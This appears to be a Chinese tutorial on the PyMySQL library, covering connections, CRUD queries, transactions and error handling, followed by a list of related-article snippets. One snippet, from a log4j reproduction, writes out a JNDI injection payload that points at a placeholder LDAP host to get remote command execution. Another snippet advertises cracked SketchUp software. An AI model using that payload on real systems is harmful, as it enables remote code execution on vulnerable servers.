04 Python进阶:MySQL-PyMySQL

news2024/11/27 16:43:58

什么是 PyMySQL?

在这里插入图片描述
PyMySQL 是一个用于 Python 的纯 Python MySQL 客户端库,提供了与 MySQL 数据库进行交互的功能。PyMySQL 允许 Python 开发人员连接到 MySQL 数据库服务器,并执行诸如查询、插入、更新和删除等数据库操作。

以下是 PyMySQL 的一些主要概念和特点:

  1. 纯 Python 实现: PyMySQL 是用纯 Python 编写的 MySQL 客户端库,不依赖于 MySQL C 驱动,因此可以在不同的平台上轻松安装和使用。

  2. 轻量级且简单易用: PyMySQL 提供了简洁易用的接口,可以方便地在 Python 中执行对 MySQL 数据库的操作,适合中小型项目或者快速原型开发。

  3. 支持标准的 MySQL 功能: PyMySQL 支持常见的数据库操作,包括连接数据库、执行 SQL 查询、事务处理、数据类型映射等功能,使开发人员能够轻松管理数据库。

  4. 兼容性好: PyMySQL 支持 MySQL 5.x 和 MySQL 8.x 版本,可以与各种 MySQL 数据库版本进行交互。

  5. 开源和活跃的社区支持: PyMySQL 是一个开源项目,拥有活跃的社区支持和持续的更新,开发人员可以在 GitHub 上查看源代码、报告问题和提交贡献。

通过使用 PyMySQL,Python 开发人员可以方便地与 MySQL 数据库进行交互,执行各种数据库操作,并将数据库操作无缝集成到他们的 Python 应用程序中。

PyMySQL 安装

要安装 PyMySQL 库,你可以通过 Python 的包管理工具 pip 来进行安装。以下是在终端中使用 pip 安装 PyMySQL 的步骤:

  1. 打开终端(或命令提示符)。

  2. 使用以下命令安装 PyMySQL:

    pip install pymysql
    
  3. 等待安装完成。pip 将会下载 PyMySQL 库并自动进行安装过程。

  4. 验证安装是否成功。你可以在 Python 环境中尝试导入 PyMySQL,如果没有报错,则表示安装成功。

    import pymysql
    

如果安装过程出现任何问题,可以尝试以下方法解决:

  • 确保你使用了正确的 pip 版本。在某些系统中,pip 可能被称为 pip3。

  • 确保你有足够的权限来安装 Python 包。你可能需要以管理员权限或者使用 sudo 来执行安装命令。

  • 在使用 pip 安装之前,建议先更新 pip 工具。可以使用以下命令来更新 pip:

    pip install --upgrade pip
    

安装完成后,你就可以在 Python 代码中引入 PyMySQL 库,并开始与 MySQL 数据库进行交互。

数据库连接

连接到数据库是 PyMySQL 中的一个关键操作。你可以使用 PyMySQL 来连接到 MySQL 数据库,并执行各种数据库操作,比如执行查询、插入数据、更新和删除等。

以下是一个简单的示例代码,演示了如何在 Python 中使用 PyMySQL 连接到 MySQL 数据库:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 示例:执行一条查询语句
sql_query = "SELECT * FROM your_table"
cursor.execute(sql_query)
results = cursor.fetchall()
for row in results:
    print(row)

# 示例:执行一条插入语句
sql_insert = "INSERT INTO your_table (column1, column2) VALUES (%s, %s)"
data = ('value1', 'value2')
cursor.execute(sql_insert, data)
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,首先使用 pymysql.connect 方法建立到数据库的连接,并指定主机名、用户名、密码、数据库名称以及端口号(如果不是默认端口)。之后创建了一个游标对象,通过游标对象执行 SQL 查询和插入语句,并可以获取结果或者提交更改。最后,记得关闭游标和连接以释放资源。

请注意,上述示例中的连接参数需要被替换为实际的数据库信息。此外,需要根据具体的需求编写和执行相应的 SQL 语句。

创建数据库表

当使用 PyMySQL 连接到 MySQL 数据库后,你可以通过执行 SQL 语句来创建数据库表。下面是一个简单的示例代码,演示了如何使用 PyMySQL 创建数据库表:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 创建表的 SQL 语句
create_table_sql = """
CREATE TABLE IF NOT EXISTS users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
"""

# 执行创建表的 SQL 语句
cursor.execute(create_table_sql)

# 提交更改
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,首先通过 pymysql.connect 方法建立到数据库的连接,并指定主机名、用户名、密码、数据库名称以及端口号(如果不是默认端口)。之后创建了一个游标对象,并使用 SQL 语句来描述要创建的表的结构。在这个例子中,我们创建了一个名为 users 的表,包括了 id、username、email 和 created_at 四个字段。接着用游标对象执行 SQL 语句,并提交更改。最后,记得关闭游标和连接以释放资源。

需要注意的是,在实际的应用场景中,你可能需要根据具体需求设计表结构并编写相应的 SQL 语句。

数据库插入操作

在使用 PyMySQL 连接到 MySQL 数据库后,你可以通过执行 SQL 插入语句向数据库表中插入数据。以下是一个简单的示例代码,演示了如何使用 PyMySQL 进行数据库插入操作:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 插入数据的 SQL 语句
insert_sql = "INSERT INTO users (username, email) VALUES (%s, %s)"

# 要插入的数据
data = ('john_doe', 'john.doe@example.com')

# 执行插入操作
cursor.execute(insert_sql, data)

# 提交更改
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,我们首先通过 pymysql.connect 方法建立到数据库的连接,并指定主机名、用户名、密码、数据库名称以及端口号。之后创建了一个游标对象,并定义了一个插入数据的 SQL 语句 insert_sql。我们将要插入的数据保存在变量 data 中,然后使用游标对象的 execute 方法执行插入操作。最后,提交更改并关闭游标和连接。

请注意,插入数据时需要保证数据的格式和顺序与 SQL 语句中的占位符 %s 一致,这样可以防止 SQL 注入等安全问题。在实际应用中,你可以根据实际情况修改 SQL 语句和数据内容来进行插入操作。

数据库查询操作

无条件查询

在使用 PyMySQL 连接到 MySQL 数据库后,你可以通过执行 SQL 查询语句从数据库中检索数据。以下是一个简单的示例代码,演示了如何使用 PyMySQL 进行数据库查询操作:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 执行查询的 SQL 语句
query_sql = "SELECT * FROM users"

# 执行查询操作
cursor.execute(query_sql)

# 获取查询结果
results = cursor.fetchall()

# 输出查询结果
for row in results:
    print(row)

# 关闭游标和连接
cursor.close()
connection.close()

在上面的示例中,我们首先通过 pymysql.connect 方法建立到数据库的连接,并指定主机名、用户名、密码、数据库名称以及端口号。然后创建了一个游标对象,并定义了一个查询语句 query_sql,用于检索表 users 中的所有数据。接着使用游标对象的 execute 方法执行查询操作,再用 fetchall 方法获取查询结果集并逐行输出。

当需要执行更加复杂的查询时,你可以根据需要编写不同的 SQL 查询语句,包括条件查询、排序、多表连接等。同时,PyMySQL 提供了丰富的方法来处理查询结果,例如 fetchonefetchmany 等。

条件查询

要执行条件查询,你可以在 SQL 查询语句中使用 WHERE 子句来指定一个或多个条件。以下是一个示例代码,演示了如何在 PyMySQL 中执行条件查询:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 执行条件查询的 SQL 语句
query_sql = "SELECT * FROM users WHERE username = %s"

# 指定条件值
username = 'john_doe'

# 执行查询操作
cursor.execute(query_sql, (username,))

# 获取查询结果
results = cursor.fetchall()

# 输出查询结果
for row in results:
    print(row)

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,我们定义了一个带有条件查询的 SQL 查询语句 query_sql,其中使用了 WHERE username = %s 条件,这里 %s 是占位符。在执行查询操作时,我们传递了需要匹配的用户名 john_doe 并确保它们按正确的顺序传递给 execute 方法。

当需要进行更复杂的条件查询时,你可以使用其他比较运算符(如 =, >, <, >=, <=, <> 等)和逻辑运算符(如 AND, OR, NOT 等)来构建更灵活的查询条件。根据实际需求,你可以调整查询条件以获取符合条件的数据。

数据库更新操作

要执行数据库更新操作,你可以使用 SQL 的 UPDATE 语句来修改表中的数据。以下是一个简单示例代码,演示了如何使用 PyMySQL 进行数据库更新操作:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 执行更新操作的 SQL 语句
update_sql = "UPDATE users SET email = %s WHERE username = %s"

# 更新的数据
new_email = 'new_email@example.com'
username = 'john_doe'

# 执行更新操作
cursor.execute(update_sql, (new_email, username))

# 提交更改
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,我们首先建立到数据库的连接,然后创建一个游标对象。接着定义了一个用于更新数据的 SQL 语句 update_sql,其中使用 SET 关键字指定需要更新的字段和对应的新值,WHERE 子句指定更新的条件。我们将要更新的数据保存在变量 new_emailusername 中,并通过游标对象的 execute 方法执行更新操作。最后,提交更改并关闭游标和连接。

请确保更新语句中的条件能够准确定位到需要更新的记录,以免影响不必要的数据。如果需要更新多条记录,可以根据实际情况调整更新条件。

记录删除操作

要执行记录删除操作,可以使用 SQL 的 DELETE 语句来删除表中的特定记录。如果需要清空整个表,也可以使用 TRUNCATE TABLE 语句。以下是一个示例代码,演示了如何在 PyMySQL 中执行记录删除操作和表数据清空:

删除特定记录

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 执行删除操作的 SQL 语句
delete_sql = "DELETE FROM users WHERE age < %s"

# 指定条件值
max_age = 18

# 执行删除操作
cursor.execute(delete_sql, (max_age,))

# 提交更改
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

清空整个表

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

# 创建游标对象
cursor = connection.cursor()

# 执行清空表的 SQL 语句
truncate_sql = "TRUNCATE TABLE users"

# 执行清空表操作
cursor.execute(truncate_sql)

# 提交更改
connection.commit()

# 关闭游标和连接
cursor.close()
connection.close()

在上述示例中,我们展示了两种常见的数据操作:删除符合特定条件的记录和清空整个表的数据。对于记录删除操作,我们使用 DELETE FROM table_name WHERE condition 语句,并通过传递条件值来指定要删除的记录。对于清空整个表的操作,可以使用TRUNCATE TABLE table_name 语句。

请谨慎执行删除和清空操作,确保操作不会导致不可恢复的数据丢失。在删除操作之前,建议先备份数据以防意外发生。

执行事务

在数据库中,事务是一组被视为单个工作单元的操作,要么全部执行,要么全部回滚(撤销)。在 PyMySQL 中,你可以使用数据库连接对象的 commit()rollback() 方法来执行事务。

以下是一个简单的示例代码,演示了如何在 PyMySQL 中执行事务:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

try:
    with connection.cursor() as cursor:
        # 开始事务
        connection.begin()

        # 执行多个 SQL 命令,这里仅作示例
        insert_sql_1 = "INSERT INTO table1 (column1, column2) VALUES (%s, %s)"
        insert_sql_2 = "INSERT INTO table2 (column3, column4) VALUES (%s, %s)"

        # 执行第一个插入操作
        cursor.execute(insert_sql_1, ('value1', 'value2'))

        # 执行第二个插入操作
        cursor.execute(insert_sql_2, ('value3', 'value4'))

    # 提交事务
    connection.commit()

except Exception as e:
    # 如果出现异常,回滚事务
    connection.rollback()
    print(f"An error occurred: {e}")

finally:
    # 关闭数据库连接
    connection.close()

在上述示例中,我们首先通过 connection.begin() 开启了一个事务。然后,在 try 块中执行了两个插入操作。如果所有操作顺利完成,就会通过 connection.commit() 提交事务。如果其中任何一步出现了异常,connection.rollback() 会回滚事务,使所有操作都不会生效。

通过使用事务,可以确保在执行一系列相关操作时,要么全部成功,要么全部失败。这对于确保数据的完整性和一致性非常重要。

错误处理

在使用 PyMySQL 进行数据库操作时,错误处理是非常重要的。可以通过 try-except 块来捕获可能出现的异常,并根据具体情况进行适当的错误处理。以下是一个示例代码,演示了如何在 PyMySQL 中进行错误处理:

import pymysql

# 连接到数据库
connection = pymysql.connect(host='your_host',
                             user='your_username',
                             password='your_password',
                             database='your_database_name',
                             port=3306)  # MySQL默认端口为3306

try:
    with connection.cursor() as cursor:
        # 查询数据库
        sql = "SELECT * FROM users"
        cursor.execute(sql)
        result = cursor.fetchall()

        # 处理查询结果
        for row in result:
            print(row)

except pymysql.Error as e:
    print(f"Error occurred: {e}")

finally:
    # 关闭数据库连接
    connection.close()

在上述示例中,使用 try-except 块捕获了可能出现的 pymysql.Error 异常。如果发生了异常,程序会打印错误信息。这样可以确保即使在程序执行过程中出现了问题,也能够对错误进行处理,而不会导致程序崩溃。

除了在连接和操作数据库时进行错误处理,还可以根据具体操作进行更细致的错误处理。例如,在插入数据时,可以检查插入操作是否成功并处理可能出现的异常情况。在更新或删除数据时也可以采取类似的方式进行错误处理。

在这里插入图片描述

关注我,不迷路,共学习,同进步

关注我,不迷路,共学习,同进步
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1578090.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微服务架构下,如何通过弱依赖原则保障系统高可用?

前言 当我初次接触高可用这个概念的时候&#xff0c;对高可用的【少依赖原则】和【弱依赖原则】的边界感模糊&#xff0c;甚至有些“傻傻分不清楚”。这两个原则都关注降低模块之间的依赖关系&#xff0c;但它们之间的确存在某些差异。 那么&#xff0c;「少依赖原则」和「弱…

C#操作MySQL从入门到精通(8)——对查询数据进行高级过滤

前言 我们在查询数据库中数据的时候,有时候需要剔除一些我们不想要的数据,这时候就需要对数据进行过滤,比如学生信息中,我只需要年龄等于18的,同时又要家乡地址是安徽的,类似这种操作专栏第7篇的C#操作MySQL从入门到精通(7)——对查询数据进行简单过滤简单过滤方法就无法…

《CSS 知识点》仅在文本有省略号时添加 tip 信息

html <div ref"btns" class"btns"><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很长的文本.有省略号和tip.<…

移动平台相关(安卓)

目录 安卓开发 Unity打包安卓 ​编辑​编辑 BuildSettings PlayerSettings OtherSettings 身份证明 配置 脚本编译 优化 PublishingSettings 调试 ReMote Android Logcat AndroidStudio的调试 Java语法 ​编辑​编辑​编辑 变量 运算符 ​编辑​编辑​编辑​…

后端说处理了跨域但没有生效

场景&#xff1a; 常见的跨域报错&#xff0c;一般都是由后端进行setHeader/*什么的。但是现在这种情况就是后端说他们做了处理。但是我这边请求还是报错。 withCredentials: with-credentials用来设置是否发送cookie&#xff0c;如果为true就会在跨域请求时候携带cookie&…

5个最佳的免费AI图像生成器

原文地址&#xff1a;https://readwrite.com/ai-5-of-the-best-free-ai-image-generators/ Ideogram: Social AI image generator, limited daily prompts, impressive quality.NightCafe: Creative options, custom model training, limited free daily credits.Runway AI: A…

DolphinScheduler 答案整理,最新面试题

DolphinScheduler的架构设计是怎样的&#xff1f; DolphinScheduler的架构设计主要分为四个层次&#xff1a;前端界面层、API服务层、调度层和执行层。 1、前端界面层&#xff1a; 提供任务的定义、流程的设计、监控等功能&#xff0c;用户通过前端界面操作整个系统。 2、AP…

【MySQL数据库 | 第二十三篇】什么是索引覆盖和索引下推

前言&#xff1a; 在数据库查询优化领域&#xff0c;索引一直被视为关键的工具&#xff0c;用于提高查询性能并加速数据检索过程。然而&#xff0c;随着数据库技术的不断发展&#xff0c;出现了一些新的优化技术&#xff0c;其中包括索引下推&#xff08;Index Pushdown&#…

使用Nodejs + express连接数据库mongodb

文章目录 先创建一个js文档安装 MongoDB 驱动程序&#xff1a;引入 MongoDB 模块&#xff1a;设置数据库连接&#xff1a;新建一个表试试执行数据库操作&#xff1a;关闭数据库连接&#xff1a; 前面需要准备的内容可看前面的文章&#xff1a; Express框架搭建项目 node.js 简单…

SketchUp Pro 2024 (草图大师2024)win/mac激活版

SketchUp Pro 2024 (草图大师2024)win/mac激活版(su建模软件,草图大师2024中文版)是一款全球知名的三维建模软件,绘图工具,建模渲染,扩展插件和渲染器模板,海量3D模型及建模灯光材质渲染效果图,用于建筑,城市规划专家,游戏开发等行业。 SketchUp Pro 的主要特点包括&#xff1a…

C++ | Leetcode C++题解之第8题字符串转换整数atoi

题目&#xff1a; 题解&#xff1a; class Automaton {string state "start";unordered_map<string, vector<string>> table {{"start", {"start", "signed", "in_number", "end"}},{"signed…

AssetBundle在移动设备上丢失

1&#xff09;AssetBundle在移动设备上丢失 2&#xff09;Unity云渲染插件RenderStreaming&#xff0c;如何实现多用户分别有独立的操作 3&#xff09;如何在圆柱体类型的地图中编程玩家的输入 4&#xff09;Mixamo动画的根运动问题 这是第380篇UWA技术知识分享的推送&#xff…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

算法学习 | day36/60 背包问题/分割等和子集

一、题目打卡 1.1 二维背包问题 题目链接&#xff1a;46. 携带研究材料&#xff08;第六期模拟笔试&#xff09; #include<iostream> #include<vector> using namespace std;int n, bagweight;// bagweight代表行李箱空间 void solve() {vector<int> weight…

云手机提供私域流量变现方案

当今数字营销领域&#xff0c;私域流量是一座巨大的金矿&#xff0c;然而并非人人能够轻易挖掘。一家营销公司面临着利用社交、社区、自媒体等应用积累私域流量&#xff0c;并通过销售产品、推送广告等方式实现流量变现的挑战与困境。本文将详细介绍这家公司是如何通过云手机&a…

Flutter学习11 - Future 与 FutureBuilder

1、Future 可以利用 Future 实现异步调用 1.1、Future 的两种形式 自定义一个结果类 class Response {String _data;Response(this._data); }自定义方法实现 Future Future<Response> testFuture() {var random Random();int randomNumber random.nextInt(10);if …

IDEA页面配置:(基本配置)

IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09; 文章目录 IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09;前言&#xff1a;一、主要内容&#xff1a;&#x1f60d;1. 页面背景改为 白色&#xff08;设置主题&#xff09;2. &#xff08;设置字体&#…

基于java+springboot+vue实现的教学辅助系统(文末源码+Lw)23-225

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#…

Java常用API_System——常用方法及代码演示

1.System.exit(int status) 方法的形参int status为状态码&#xff0c;如果是0&#xff0c;说明虚拟机正常停止&#xff0c;如果非0&#xff0c;说明虚拟机非正常停止。需要将程序结束时可以调用这个方法 代码演示&#xff1a; public class Test {public static void main(S…

动态输出n位小数——满满都是坑!

【题目描述】 输入正整数a&#xff0c;b&#xff0c;c&#xff0c;输出a/b的小数形式&#xff0c;精确到小数点后c位。a,b ≤10^6 &#xff0c;c≤100。输入包含多组数据&#xff0c;结束标记为a&#xff1d;b&#xff1d;c&#xff1d;0。 【样例输入】 1 6 4 0 0 0 【样…